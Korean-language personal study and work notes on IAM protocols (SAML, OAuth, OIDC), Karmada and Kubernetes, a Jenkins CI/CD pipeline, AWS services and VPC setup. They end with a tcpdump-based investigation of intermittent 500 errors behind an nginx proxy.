gitlab 과 keycloak을 연동해서 인증시스템을 구축해볼것이다.

그전에 관련 용어 설명

keycloak - 오픈소스 IAM 솔루션

okta - 상용 IAM 솔루션

IAM(Identity and Access Management) - User ID, 암호를 통해 계정을 생성&관리하고 권한을 할당하여 접근제어(인증, 인가, 감사등)

즉 IAM이란 어떤 솔루션이나 프로토콜을 의믜하는게 아니고 보안행위 및 규칙등을 의미하고

IAM을 하기 위한 솔루션으로 keycloak 과 Okta등이 있는것.

더 자세히 들어가보면 IAM 솔루션들의 구성요소, 프로토콜이나 보안 정책등을 알아보자면

1. SAML - 인증정보를 중앙 관리하여 한번의 디지털 서명(ID, PW)으로 설정돼있는 모든 리소스(SAML을 제공하는)에 접근 가능.
   로직은 다음과 같다.
   요청(사용자가 로그인 시도) > 검증(SAML과 IDP 연결) > 로그인(ID, Password 입력창 표시) > 토큰생성(사용자 정보 올바를시 SAML 토큰이 전송되어 서버에 로그인)

2. OAuth - 한번의 로그인(자격증명 성공)으로 얻은 토큰을 다른서비스에 로그인(인증)시 해당 토큰을 전달하는데 사용(ID,PW를 전달해주는게 아님). 단 조건은 사전에 IdP에서 사용자의 승인을 받아 리소스 서버에 토큰을 발행할수 있어야 함.

로직은 다음과 같다.

요청(사용자가 로그인 시도) > 선택(로그인 방법으로 타사 권한 인증 선택) > 로그인(인증 서버가 액세스 토큰 생성하여 리소스 서버에 전송) > 연결(리소스 서버가 토큰 확인후 접근 허용)

SAML과 OAuth의 유사점과 차이점은?

먼저 유사점은 SAML과 OAuth를 사용(한번의 로그인)으로 여러 서비스의 접근이 가능(SSO)해지는것.

예를들어 구글(IDP)계정을 가지고 깃랩도 로그인하고 페북도 로그인하고 플럼버도 로그인하고.. 이런것들이 SAML 혹은 OAuth를 가지고 SSO 기능을 구현했다라고 볼수있음.

차이점은 SAML=인증 / OAuth = 인가이다. SAML의 경우 구글(IDP)계정들의 아이디/패스워드들을 가지고 인증을 받아 다른 서비스에 로그인하는것.

OAuth는 구글에서 받은 토큰을 로그인 하려는 다른 서비스에 등록, 즉 권한을 허가 받아 다른서비스에 로그인하는것

로그인에 초점을 맞추면 둘중 하나만 사용하면 되고.

좀더 보안을 강화하려면 일단 로그인은 SAML(인증된자만)로 접근가능하도록 하고 그 서비스 로그인 이후의 하위서비스 접근은 OAuth(인가된자만)로 접근 가능하도록 처리하면 보안을 좀 더 강화할 수 있다

3. OIDC - 인증을 위해 OAuth에서 인증부분을 확장하여 구현된 프로토콜

OAuth에서 openid 스코프가 포함돼있으면 OIDC임. oauth 스코프에 openid가 있으면 oauth의 본래 목적인 액세스토큰(인가정보)외에 추가로 인증정보인 ID토큰(JWT)을 반환함.
##인증과 인가의 차이 : 인증 - 신원 검증 / 인가 - 권한 부여

즉 OIDC는 인가가 아닌 인증을 위해 OAuth에 인증이 확장된 개념이다.

앞의 내용을 다 이해했다면 OAuth와 OIDC를 각가 언제 사용해야 하는지 이해했을듯 하다.

그럼 둘다 인증이 목적인 SAML과 OIDC은 특징 및 장단점이 뭐고 각각 언제 쓰일까 ?

SAML - XML 기반, OIDC보다 상대적으로 느림, 메시지 크기가 큼, 20년전부터 널리 사용됐기에 스탠다드함. 따라서 기존 시스템과의 호환성이 높음. 기존 엔터프라이즈 환경에서 더 잘 어울려 왔음

OIDC - JSON 기반, 처리속도가 빠르고 사이즈가 작음. 최근(5~7년전)에 각광받고 있음. 여러 환경에서 사용됨.

장단점만을 본다면 OIDC가 더 좋아보이나 기존 엔터프라이즈 환경에서 SAML이 이미 많이 사용되고 있었기에 보안규정 및 지침등이 SAML에 맞게 표준화 돼 있었음. 따라서 아주 빡세게 보안규정을 지켜야한다면 OIDC보단 그에 맞는SAML을 채택하는게 맞고 그게 아니라면 OIDC가 더 유리하다고 판단됨

하여 아직까진 SAML을 많이 사용하나 OIDC도 많아지는 추세임.

그외 

SSO - 싱글사인온. 하나의 인증/인가로 해결하는것

IdP - identitiy provider. 즉 인증/인가정보를 제공하는곳.(구글, 카카오, 페이스북등)

JWT - Json웹 토큰 - 사용자 인증정보를 json 구조로 구성. OIDC가 JWT로 인증을 주고받음

karmada 란

1. CNCF 프로젝트
2. kubefed 단점 보완
3. 클러스터간 리소스 공유&배포
4. 워크로드 분산 가능
5. 정책기반 배포 및 관리가 가능
6. 클러스터간 고가용성 지원

• 기본적인 통신 플로우는 k8s 통신과 동일하게
  api서버를 기반으로 통신
  
• karmada의 컨트롤플레인이 각 클러스터의 API 서버와 통신하는 구조

1. PropagationPolicy 추가시 PolicyController가 Resource Binding 생성
2. Resource Binding 시 Binding Controller가 Manifest 를 토대로 목적 클러스터에 Execution 생성
3. Execution 생성시 Execution Controller가 목적 클러스터에 리소스를 배포

propagation policy란 
PropagationPolicy란 워크로드를 어떤 클러스터에 어떻게 분산할지 정의하는 규칙으로 멀티클러스터환경을 위해 진행되는 karmada의 핵심 개념

• ClusterAffinity: ClusterName, Label, Field에 기반 스케쥴링
• SpreadConstraint: 여러 클러스터에 고르게 분산
• ReplicasScheduling: 워크로드복제본(동일 pod)을 여러 클러스터에 어떻게(Duplicated, Wdighted, Custom) 스케쥴링할지 결정
• Toleration: 기존 k8s 스케쥴링기법을 그대로 사용

karmada 설치 방법

git clone https://github.com/karmada-io/karmada.git; karmada/hack/local-up-karmada.sh

karmada join CLUSTER_NAME --cluster-kubeconfig=/path/to/your/cluster-kubeconfig.yaml

karmada 를통해 리소스 배포 방법

placement:

    clusterAffinity:

      clusterNames:

        - member1

        - member2

를 통해서 배포할 클러스터를 정해준다 - clusterAffinity 방식 weighted 를 기준으로 분산하는데 target cluster 모두 가중치는 1로 줬기에 균등분산하여 nginx 애플리케이션을 member1,2 각각의 클러스터에 분산 배치하여 고가용성 및 부하분산 향상

pod - 컨테이너, 라벨, 노드스케쥴등으로 설정해서 컨테이너 실행, 파드에 메모리 사용량 미리 적어줄수있음. 안적어주면 문제생김 - 메모리 부족시 다른 파드의 메모리를 사용하여 애플리케이션이 불안정할거나 파드를 스케쥴링할때 마스터노드에서 얼마나 할당해야하는지 메모리 요구사항을 모르기때문에 파드가 다른 노드에 할당되지 않을수있음 마지막으로 자원 낭비

ㄴ라벨 - 키/밸류 형식의 라벨

ㄴ노드스케쥴 - 파드는 노드위에 올라가는데 노드를 직접 지정하거나 아니면 K8S 에서 자동으로 

리밋 - CPU- 낮춤, 메모리-파드 종료

서비스 - 파드는 재시작하면 아이피가 변경되기때문에 서비스 달아서 파드 연결해줘야함.

ㄴ클러스터아이피 - 외부에서는 접근안되고 클러스터 내부에서만 아이피로 접근 가능함.

ㄴ노드포트 - 클러스터아이피 기능 + 파드가 있는 노드에만 포트가 추가되는게 아니고 파드가 없는 노드까지. 모든 노드에 포트 할당함

ㄴ로드밸런서 -  앞단에서 로드밸런싱으로 파드에 접근되도록(NGINX)

볼륨 - 

EMPTY DIR - 컨테이너들끼리 데이터를 공유하기 위해 사용, 파드 생성시 같이 생성되고 지우면 같이 지워짐

HOST PATH - 경로 지정해서 사용되며 노드에 저장됨, 파드 재생성시 다른노드에 생성되면 당연히 볼륨 사용불가. 다만 노드별로 마운트해줌 사용은 가능

PV/PVC - pod > pvc > pv > volume 형식으로 연결

config map - 환경변수 (이미지 1개에 환경변수를 준다) / secret - 보안 환경변수 secret(base64)으로 설정(메모리에 저장됨)

namespace - 서비스&파드집합소, 네임스페이스끼리 공유안됨(pv등은 공유됨). 삭제하면 그안의 서비스도 전부 삭제됨

리소스쿼타 - 네임스페이스별로 리소스 쿼타 적용해서 더 올라가지 않도록 한다

리밋 레인지 - 네임스페이스별로 리소스 리밋을 적용해서 넘을경우 파드가 해당 네임스페이스에 들어가지 않도록 한다

컨트롤러 - 오토힐링, 오토스케일링, 소프트웨어업데이트, 잡등  오케스트레이션 기능들

리플리카셋 - 오토힐링,오토스케일링, 자원할당(파드할당) 기능 

탬플릿 - 탬플릿에 설정돼있는대로 오토힐링함, 이걸로 버전업그레이드 가능

replicas - 스케일인, 스케일아웃. 

셀렉터 - 파드 지정해서 실행

deployment - 파드 배포 방식

recreate - 기존 파드 삭제하고 새로운 파드 생성, 다운타임 발생

롤링 업데이트 - 기존 파드 그대로 두고 새로운 파드 생성후 기존 파드 삭제, 생성/삭제하는 시간동안 기존 파드로 접근되는 문제가 있음. 다운타임 없음.

블루/그린 - 리플리카스를 이용하여 새로운 파드 생성후 서비스를 새로운 파드로 보도록 라벨 변경. 다운타임없고 기존파드로 접근되지도 않음. 롤백도 쉬움. 가장 많이 사용

카나리 배포 - 새버전의 파드를 생성후 일부 트래픽을 새버전의 파드로 가도록하여 테스트.

데몬셋 - 모든 노드에 파드가 하나씩 생성. 프로메테우스처럼 모든 노드에 설치되야할 서비스들 설치할때 사용

잡/크론잡 - 임시로 사용할 파드들. 프로세스가 실행되지 않으면 파드 종료.(삭제되는게아님)

파드의 라이프사이클 - 파드나 컨테이너의 state 확인

서비스 - headless, endpoint, external name

ingress - 로드밸런싱이나 카나리 업그레이드 하기 위해

네트워크 - 파드네트워크와 서비스 네트워크, 실 서버의 네트워크를 다르게 줘야함.

developer commit
형상&버전관리 - gitlab

build / test / package - jenkins : gitlab에 있는 소스를 불러와서 build하고 test하고 package 한다. 단위test 통과 못하면 fail되어 개발자에게 알람. 단위테스트 통과하면 dev&prod서버에 배포 진행

정적테스트 및 분석 : 소나큐브

IaC, 빌드된 결과물을 운영환경에 배포 : ansible

운영환경 : 쿠버네티스

이런 일련의 과정을 CI/CD 파이프라인

젠킨스 설치는 도커 컴포즈로 젠킨스 플러그인 전체 설치

jenkins-item이란 : 작업(빌드,배포)최소단위

jenkins git plugin 설치

아이템별 git 레포 설정

jenkins maven plugin 설치

메이븐으로 컴파일 - clean compile package

jenkins > docker 방법

1) publish over SSH

S3란 스토리지 서비스

- 안전하고 가변적인 Object 저장공간을 제공 (ex 구글 클라우드 드라이브, 네이버 클라우드 드라이브)

- 편리한 UI 인터페이스를 통해 어디서나 쉽게 데이터를 저장하고 불러올 수 있음

- 파일 크기는 0KB부터 5TB까지 지원

- 저장공간 무제한

- Bucket 이라는 이름을 사용함(디렉토리와 유사)

- Bucket 은 보편적인 namespace를 사용 : 버킷 이름은 고유해야한다. 리전 상관없이(글로벌설정임)하나의 버킷은 모든 리전에서 고유해야함.

S3 object의 구성요소

- Key
- Value

- Version ID

- Metadata

- CORS(Cross Origin Resource Sharing) : 한 버킷의 파일을 다른 버킷에서 접근되도록 해주는 기능(리전 달라도 가능)

S3 Data Consistency Model

 - Read after Write Consistency(put) : 파일 업로드시 딜레이없이 바로 사용 가능
- Eventual Consistency(update, delete) : 버킷에 올라간 파일을 update&delete시 결과가 바로 나타나지 않는다. 다만 S3 내부에서는 적용돼있음?

S3 스토리지 타입

 - 일반 S3 : 가장 보편적으로 사용되는 스토리지 타입. 높은내구성과 가용성

 - S3 - IA(Infrequent Access) : 자주 접근되지는 않으나 빠른 접근이 요구되는 파일이 많을시 유용, 일반 S3에 비해 비용은 저렴하나 접근시 추가 비용 발생. 멀티 AZ를 통한 데이터 저장으로 가용성이 높음

 - S3 One Zone IA : 단일 AZ에 저장. 상대적으로 낮은 가용성. 데이터 접근시 S3-IA보다 20프로 비용 저렴

 - Glacier : 거의 접근하지 않을 데이터 저장시 유용. 매우 저렴한 비용. 데이터 접근시 대략 4-5시간 소요

 - Intelligent Tiering : 데이터 접근 주기가 불규칙할때 매우 유용, 2가지 티어 존재[Frequent Tier / Infrequent Tier]. 데이터 접근주기에 따라 두가지 티어중 하나로 선택됨. Frequent Tier가 비용이 더 비쌈. 최고의 비용 절감 효율을 누릴 수 있음

rds는 AWS의 RDBMS 서비스

RDS 백업의 종류

Automated Backups (자동 백업)

1. Retention period(Point in TIme) - 1~35일 안의 어떤 시간으로 돌아가게 할 수 있음

2. AB는 그날 생성된 스냅샷과 Transaction logs(TL)을 참고함

3. 디폴트로 AB기능이 설정되어 있으며 백업정보는 S3에 저장. RDS 용량 만큼만 S3 무료제공, 그 이상되면 과금

4. AB동안 약간의 I/O suspension이 존재할 수 있음 > Latency

DB snapshots (데이터베이스 스냅샷)

1. 주로 사용자에 의해 실행됨

2. 원본 RDS instance를 삭제해도 스냅샷은 존재함. 즉 스냅샷만으로도 RDS 인스턴스 복원가능

DB restore할 경우

새로운 객체가 생성됨. 

Multi AZ 

 - 원래 존재하는 RDS DB에 무언가 변화(write)가 생길 때 다른 AZ에 똑같은 복제본이 만들어짐

 - AWS에 의해 자동으로 관리가 이루어짐

 - 원본 RDS DB에 문제가 생길 시 자동으로 다른 AZ의 복제본이 사용됨

 - DR 용

 - Multi AZ는 성능 개선용이 아님. 성능 개선은 Read Replica를 써야함

Read Replicas(RR)

 - 읽기전용 복제본이 생성됨(mysql replcation이라 생각하면 됨)

 - read가 많으면 read replica 사용하면 됨( 스케일아웃가능)

 - 이건 DR용도가 아님

 - 최대 5개까지 RR 가능 - 다만 RR DB의 RR을 다시 생성가능(단 latency 발생) 이럼 무제한 ?

 - 각각의 RR은 자기만의 고유 endpoint 존재 - 아이피로 구분하지 않음

ElasticCache

 - 클라우드 내에 In-memory 캐싱디비

 - 데이터베이스에서 데이터를 읽어오는것이 아니라 캐시에서 빠른 속도로 데이터를 읽어옴

 - Read-Heavy 어플리케이션에서 상당한 Latency 감소 효과

엘라스틱캐시는 2개 타입으로 나뉨 Memcached / Redis

Memcached

 - Object 캐싱 시스템

 - Elastic cache는 Memcached의 프로토콜을 디폴트로 따름

 - 오토 스케일링 가능

 - 오픈소스

 - 단순한 캐싱 모델

Redis

 - Key-Value, set, list와 같은 형태의 데이터를 In memory 캐싱 모델

 - 오픈소스

 - Multi AZ 지원(DR 가능)

 - 리더보드처럼 데이터셋의 랭킹을 정렬하는 용도

---------실습------------

RDS 생성 - mysql 생성

1.버전 선택(디폴트)

2.탬플릿

프로덕션, 개발/테스트, 프리티어 > 선택

PS. 오로라는 프리티어 없음.

3.인스턴스 식별자 - AWS RDS 인스턴스 이름

4.마스터(root) 사용자 이름/ 암호 생성

5.DB 인스턴스 크기 > 디폴트 선택(프리티어니까)

6.스토리지 유형, 용량 > 디폴트

7.스토리지 자동조정이란 오토스케일링이고 디폴트는 활성화

8.가용성 및 내구성이란 멀티 AZ. 프리티어는 멀티 AZ 사용 못함

9.VPC 연결

10.추가 연결 구성. RDS인스턴스의 접근 허용여부. 퍼블릭 엑세스 디폴트 아니오.

11.VPC의 새로운 보안그룹 생성 해야함 ?

12. 가용영역 설정은 뭐하는거지 ? 자동설정 아니였나 ?

Read replicas 생성( 읽기전용 복제본 생성)

1.네트워크 및 보안

ㄴ완전히 다른 지역으로 복제본 생성 

ㄴ혹은 다른 서브넷 그룹

퍼블릭 액세스 (외부 공개 여부)

2.암호화 : 원본 데이터베이스를 암호화하지 않아도 RR의 암호화를 가능하게 해줌

3.모니터링 : RR의 로그 정보를 Cloud watch에 보낼지에 대한 설정

Multi AZ 

1.수정후 다중 AZ 배포 활성화(예)

EC2 요금 지불 방법

On-demand : 시간 단위로 가격이 고정되어 있음. 탄력 요금제라 생각하면 됨

Reserved : 한정된 EC2 용량 사용 가능, 1-3년동안 시간별로 할인 적용 받을 수 있음. 할당 요금제

Spot : 입찰 가격 적용, 가장 큰 할인률을 적용받으며 특히 인스턴스의 시작과 끝기간이 전혀 중요하지 않을때 매우 유용.경매방식. 실 서비스에는 쓰면 안됨

EBS란 - EC2에 부착되는 하드디스크. EC2를 사용하기 위해서는 EBS라는 디스크 볼륨이 필요

 - 저장공간이 생성되어지며 EC2 인스턴스에 부착된다.

 - 디스크 볼륨 위에 File System이 생선된다.

 - EBS는 특정 Aailability Zone에 생성된다.
AZ란 : 하나의 리전안에 여러개의 AZ가 존재하고 유사시 다른 AZ 사용가능.

EBS 볼륨타입

1.SSD군

ㄴGeneral Purpose SSD(GP2) : 최대 10K IOPS를 지원하며 1GB당 3IOPS속도. 보편적으로 사용됨
ㄴProvisioned IOPS SSD(IO1) : 극도의 I/O률을 요구(ex:매우 큰 DB관리)환경에서 주로 사용. 10K이상의 IOPS지원. 비싼만큼 속도 빠름.

2.Magnetic/HDD군

ㄴThrouhput Optimized HDD(ST1) : 빅데이터 웨어하우스, log 프로세싱에 주로 사용, Boot volume으로는 사용 불가능

ㄴCDD HDD (SC1) : 파일 서버와 같이 드문 Volume 접근시 주로 사용. Boot volume으로 사용 불가능하나 매우 저렴함

ㄴMagnetic (standard) : 디스크 1GB당 가장 쌈 . Boot volume 가능.

ELB란 Elastic Load Balancers
AWS의 로드밸런싱해줌.

Traffic의 흐름을 Unhealty instance를 healthy instance로 고가용성 제공해줌

ELB의 종류

ㄴALB : L7 로드밸런싱. http, https 로드밸런싱가능. 커스터마이징 라우팅 설정을통하여 특정 서버로 요청 보낼 수 있음
ㄴCLB : 거의 사용안하는 레거시 로드밸런싱. L4, L7 둘다 지원. 근데 사용 안함.(레거시)

ㄴNLB : L4 로드밸런싱. 매우 빠름. 극도의 퍼포먼스가 요구되는 TCP 트래픽을 처리. 

X-Forwarded-for 헤더 > 실제 아이피를 찍어주는것

Route53 : DNS 서비스

1. 도메인을 먼저 등록해주고

2. 해당 도메인들의 레코드 설정

3. 만약 도메인이 이미 있는거면 따로 등록해야 함.

-------

EC2 생성 실습

EC2는 리전 선택해야함

생성하는법 - 이건 또깡한테 듣는게 더 좋음

AWS-VPC&EC2 생성 메뉴얼

VPC(클라우드상에서 고객에게 지원되는 개인 사설 네트워크망)는 특별한경우(전혀 다른 용도의 AWS 네트워크 구성등)가 아니라면 리전별로 1개만 있으면 된다. 따라서 추가 EC2인스턴스 생성시 VPC 생성(1.AWS 네트워크 구성)은 건너뛰고 Public, Private, DB Netmask에 맞게끔 EC2를 할당

NATGW : 외부 > 내부 불가능, 내부 > 외부 가능
IGW : 외부 > 내부 가능, 내부 > 외부 가능

1. AWS 네트워크 구성
   A)VPC 생성

   

   
   B)서브넷 - 서브넷은 보통 퍼블릭, 프라이빗, DB로 나눈다.
   [퍼블릭 : bastion, NATGW, ALB|NLB]
   [프라이빗 : EC2, WEB, WAS]
   [DB : DB서버]

   

   

   
   C)IGW 생성 후 VPC에 attach

   

   
   

   

   D)EIP 2개 생성(1개는 bastion, 1개는 NATGW용도)

   

   
   E)NATGW 생성 - EIP 선택, 서브넷 선택

   

   
   F)라우팅 테이블을 설정
   ㄴ퍼블릭은 IGW로 트래픽 나가도록 라우팅
   ㄴ프라이빗,DB는 NATGW로 트래픽 나가도록 라우팅
   F-1)서브넷연결을 통해 서브넷끼리 라우팅
   ps.
   VPC 생성시 디폴트로 생성되는 라우팅 테이블은 기본 라우팅 테이블로 설정 돼 있음. 이를 새로운 라우팅 테이블을 생성한 뒤 새로 생성한 라우팅 테이블을 기본 라우팅 테이블로 변경해야만 삭제가 가능
   
    
2. EC2 생성
   
   A)bastion용 EC2 생성 - Keypair는 구글드라이브의 B/P 폴더에 보관
   B)bastion용 EC2에 EIP 연결
   C)service 용 EC2 생성
   D)앞서 생성한 ALB에 service EC2를 연결
   E)보안그룹에서 IP 허용
   F)접속 [root@proxy0 dhsa]# ssh -i Keypair-California-Bitmango.pem ec2-user@54.193.180.216
   
   
   
3. standby용으로 생성된 인스턴스들은 사용하지 않을 때 꼭 인스턴스 중지(종료가 아님, 종료시 인스턴스 삭제됨)를 해야함

   

1. 참고 내용
   base img별 ssh 계정
   ubuntu - ubuntu / centos - centos / windows - administrator / amazon linux - ec2-user
   EC2내 OS에 퍼블릭 키가 있고 그에 맞는 프라이빗 키가 발급됨 이거 잃어버리면 안됨
   
   
   

1. IAM - 유저를 관리하고 접근 레벨 및 권한에 대한 관리

1-1) Root 유저 하위의 일반 유저(A라 가정)를 생성하고 해당 유저에대한 접근키(Access key)와 비밀키(Secret Access Key)를 관리

1-2) 매우 세밀한 접근 권한 부여 기능(Granular Permission) - 회계 부서에 새로 입사한 유저 A에게 EC2의 회계 관련 서버에만 권한을 줘야함

1-3) 비밀번호를 일괄적으로 변경토록 강제 가능

1-4) 다중 인증 MFA(Multi-Factor Authentication)기능 제공

정책 - Json 형태의 document 로 돼 있음.  그룹 또는 역할에 추가 할 수 있음

역할 - 하나 혹은 다수의 정책을 추가

IAM은 regional하지 않고 global 설정임

IAM 정책 시뮬레이터 - IAM정책을 production에 빌드하기전 테스트

실습

사용자 생성

1. 엑세스 유형 - 둘다 선택도 가능
ㄴ프로그래밍 방식 엑세스 : 접근키&비밀키를 통해 접근하는 방식

ㄴAWS management console 엑세스 : 비밀번호 부여하는 방식

2. 그룹에 추가하거나 혹은 단독 유저로.

3. 액세스키와 비밀 액세스키를 확인 가능. 비밀 엑세스키의 경우 처음 한번만 확인 가능하니까 혹시 분실한다면 비밀 엑세스키 재 생성해야함.

그룹 생성

1. 그룹에 정책 추가 가능

2. 그룹에 유저 추가 가능

역할 - 다양한 정책을 부여할 수 있음. 정책과 비슷하나 유저에게 부여

정책

정책 생성에는 2가지 방법이 있다.

1. 원하는 서비스를 webUI로 선택하여 엑세스레벨을 부여할 수 있음
ㄴ리소스를 선택하는데 리소스란 다양한 기능&펑션들(백업, index등). 모든 리소스 선택

2. JSON 형식으로 엑세스 부여할 수 있음

IAM Policy Simulater 도 있음

구성

Service1.domain.co.kr 에 접속할 경우

Service1.domain.co.kr 도메인의 dns설정은 cname proxy.domain.co.kr(nginx proxy서버) 으로 해놓고

Service1.domain.co.kr > nginx proxy(nginx proxy서버) > server:service1 port(docker)

상황 : 여러 서비스에서 간헐적으로 500 Server internal Error 발생. 새로고침하면 정상화. 새로고침하면 정상화 되기에 서비스 이용에는 크게 문제가 없으나 API 이용시 500 error 발생으로 스크립트 오작동하는경우 발생.

사내 모니터링 툴인 icinga2(nagios기반)에서는 에러 발생시 1분뒤 다시한번 체크하도록 설정 돼 있기에 icinga2에서는 서비스 에러 체크가 안돼고 있었음.
다만 debug 모드에서는 500 error를 확인 할 수 있다. icinga2로그 확인시 같은시간에 여러 서비스에서 동시에 발새하는것으로 보아 어플리케이션 단일의 문제는 아닐것으로 보인다.

그럼 서비스들이 모여있는 web1, 또는 intra1 그리고 DB서버, proxy 정도의 문제로 의심해볼 수 있을듯 하다. 여기서 확인해볼 수 있는것은 최종 목적지인 web1, intra1 모든 서버에서 에러가 발생하고 있고 특히 xlsoft의 경우 디비 설정도 안돼있기에 디비 문제도 아님이 확인된다.

proxy0에 있는 munin, icinga2 는 에러가 없는것으로 보아 proxy1 서버에서 발생하는 문제라 추측하고 원인 파악할 예정

우선 접속자가 가장 적은 test.co.kr 을 모니터링 할꺼고 1.1.1.1(proxy1)과 통신을 전혀 하지 않는 standby1에서 tcpdump를 뜬다. 그래야 딱 test.co.kr 꺼만 tcpdump가 가능하니까

#!/bin/bash
function check_fnc(){
CMD=`docker exec -it compose.icinga2.test.co.kr /usr/lib/nagios/plugins/check_http -I 1.1.1.1 -S -u <https://www.test.co.kr/images/xlsoftlogo.png`>
CRI=`echo $CMD | awk '{print $2}'`
date > /etc/bin/date.txt
}

check_fnc
while [ $CRI != "CRITICAL:" ]
do
check_fnc
sleep 2
done

위 스크립트를 돌려놓기.

tcpdump 떠놓고 위 스크립트로 500 error 발생할 때까지 스크립트 돌려놓기

1) 11:24:11.764227 IP standby1.58272 > 1.1.1.1.https: Flags [S], seq 1285422234, win 29200, options [mss 1460,sackOK,TS val 2345513401 ecr 0,nop,wscale 9], length 0
2) 11:24:11.764640 IP 1.1.1.1.https > standby1.58272: Flags [S.], seq 3917766911, ack 1285422235, win 28960, options [mss 1460,sackOK,TS val 2362302169 ecr 2345513401,nop,wscale 9], length 0
3) 11:24:11.764706 IP standby1.58272 > 1.1.1.1.https: Flags [.], ack 1, win 58, options [nop,nop,TS val 2345513401 ecr 2362302169], length 0
4) 11:24:11.766695 IP standby1.58272 > 1.1.1.1.https: Flags [P.], seq 1:280, ack 1, win 58, options [nop,nop,TS val 2345513403 ecr 2362302169], length 279
5) 11:24:11.766881 IP 1.1.1.1.https > standby1.58272: Flags [.], ack 280, win 60, options [nop,nop,TS val 2362302208 ecr 2345513403], length 0
6) 11:24:11.769720 IP 1.1.1.1.https > standby1.58272: Flags [.], seq 1:5793, ack 280, win 60, options [nop,nop,TS val 2362302211 ecr 2345513403], length 5792
7) 11:24:11.769838 IP standby1.58272 > 1.1.1.1.https: Flags [.], ack 5793, win 80, options [nop,nop,TS val 2345513406 ecr 2362302211], length 0
8) 11:24:11.769977 IP 1.1.1.1.https > standby1.58272: Flags [P.], seq 5793:6028, ack 280, win 60, options [nop,nop,TS val 2362302211 ecr 2345513403], length 235
9) 11:24:11.770009 IP standby1.58272 > 1.1.1.1.https: Flags [.], ack 6028, win 86, options [nop,nop,TS val 2345513406 ecr 2362302211], length 0
1) 011:24:11.770843 IP standby1.58272 > 1.1.1.1.https: Flags [P.], seq 280:406, ack 6028, win 86, options [nop,nop,TS val 2345513407 ecr 2362302211], length 126
11) 11:24:11.800062 IP 1.1.1.1.https > standby1.58272: Flags [P.], seq 6028:6079, ack 406, win 60, options [nop,nop,TS val 2362302241 ecr 2345513407], length 51
12) 11:24:11.800284 IP standby1.58272 > 1.1.1.1.https: Flags [P.], seq 406:553, ack 6079, win 86, options [nop,nop,TS val 2345513437 ecr 2362302241], length 147
13) 11:24:11.818999 IP 1.1.1.1.https > standby1.58272: Flags [P.], seq 6079:6433, ack 553, win 62, options [nop,nop,TS val 2362302260 ecr 2345513437], length 354
14) 11:24:11.819120 IP 1.1.1.1.https > standby1.58272: Flags [FP.], seq 6433:6464, ack 553, win 62, options [nop,nop,TS val 2362302260 ecr 2345513437], length 31
15) 11:24:11.819208 IP standby1.58272 > 1.1.1.1.https: Flags [.], ack 6465, win 91, options [nop,nop,TS val 2345513456 ecr 2362302260], length 0
16) 11:24:11.819235 IP standby1.58272 > 581.1.1.1.https: Flags [F.], seq 553, ack 6465, win 91, options [nop,nop,TS val 2345513456 ecr 2362302260], length 0
17) 11:24:11.819447 IP 1.1.1.1.https > standby1.58272: Flags [.], ack 554, win 62, options [nop,nop,TS val 2362302261 ecr 2345513456], length 0

이게 500 에러일 때 tcpdump

1) 16:14:47.778543 IP standby1.42750 > 1.1.1.1.https: Flags [S], seq 387201813, win 29200, options [mss 1460,sackOK,TS val 2276549415 ecr 0,nop,wscale 9], length 0
2) 16:14:47.778893 IP 1.1.1.1.https > standby1.42750: Flags [S.], seq 1673702661, ack 387201814, win 28960, options [mss 1460,sackOK,TS val 2293338207 ecr 2276549415,nop,wscale 9], length 0
3) 16:14:47.778973 IP standby1.42750 > 1.1.1.1.https: Flags [.], ack 1, win 58, options [nop,nop,TS val 2276549415 ecr 2293338207], length 0
4) 16:14:47.781420 IP standby1.42750 > 1.1.1.1.https: Flags [P.], seq 1:280, ack 1, win 58, options [nop,nop,TS val 2276549418 ecr 2293338207], length 279
5) 16:14:47.781666 IP 1.1.1.1.https > standby1.42750: Flags [.], ack 280, win 59, options [nop,nop,TS val 2293338210 ecr 2276549418], length 0
6) 16:14:47.783826 IP 1.1.1.1.https > standby1.42750: Flags [P.], seq 1:6028, ack 280, win 59, options [nop,nop,TS val 2293338212 ecr 2276549418], length 6027
7) 16:14:47.783933 IP standby1.42750 > 1.1.1.1.https: Flags [.], ack 6028, win 81, options [nop,nop,TS val 2276549420 ecr 2293338212], length 0
8) 16:14:47.785036 IP standby1.42750 > 1.1.1.1.https: Flags [P.], seq 280:406, ack 6028, win 81, options [nop,nop,TS val 2276549421 ecr 2293338212], length 126
9) 16:14:47.785568 IP 1.1.1.1.https > standby1.42750: Flags [P.], seq 6028:6079, ack 406, win 59, options [nop,nop,TS val 2293338214 ecr 2276549421], length 51
10) 16:14:47.785670 IP standby1.42750 > 1.1.1.1.https: Flags [P.], seq 406:553, ack 6079, win 81, options [nop,nop,TS val 2276549422 ecr 2293338214], length 147
11) 16:14:47.788991 IP 1.1.1.1.https > standby1.42750: Flags [P.], seq 6079:10659, ack 553, win 61, options [nop,nop,TS val 2293338217 ecr 2276549422], length 4580
12) 16:14:47.789028 IP 1.1.1.1.https > standby1.42750: Flags [FP.], seq 10659:10690, ack 553, win 61, options [nop,nop,TS val 2293338217 ecr 2276549422], length 31
13) 16:14:47.789149 IP standby1.42750 > 1.1.1.1.https: Flags [.], ack 10659, win 99, options [nop,nop,TS val 2276549426 ecr 2293338217], length 0
14) 16:14:47.789189 IP standby1.42750 > 1.1.1.1.https: Flags [F.], seq 553, ack 10691, win 99, options [nop,nop,TS val 2276549426 ecr 2293338217], length 0
15) 16:14:47.789349 IP 1.1.1.1.https > standby1.42750: Flags [.], ack 554, win 61, options [nop,nop,TS val 2293338218 ecr 2276549426], length 0

이건 정상일 때 tcpdump

1. SYN-SENT - standby1에서 proxy1로 Syn을 보냄 : 내가(standby1) 너(proxy1)한테 접속 해도 돼 ?
2. SYN-RECEIVE - proxy1에서 syandby1한테 Syn에 대한 응답(Ack) : 너(standby1)한테 Syn 잘 받았어 (ACK) 나 준비완료, 들어와도돼 (Syn.), tcpdump에서는 Ack를 .으로 표현
3. ESTABLISHED - standby1에서 proxy1로 Ack 보냄 : 나(standby1) 랑 너(proxy1) 연결됐어 1~3까지가 3WAY 핸드쉐이크
4. SSL 핸드쉐이크 부분 - https://run-it.tistory.com/29 이거나 https://lxxyeon.tistory.com/176 이거를 4~9 까지 요거 참고
5. SSL 핸드쉐이크 부분 - https://run-it.tistory.com/29 이거나 https://lxxyeon.tistory.com/176 이거를4~9 까지 요거 참고
6. SSL 핸드쉐이크 부분 - https://run-it.tistory.com/29 이거나 https://lxxyeon.tistory.com/176 이거를4~9 까지 요거 참고
7. SSL 핸드쉐이크 부분 - https://run-it.tistory.com/29 이거나 https://lxxyeon.tistory.com/176 이거를4~9 까지 요거 참고
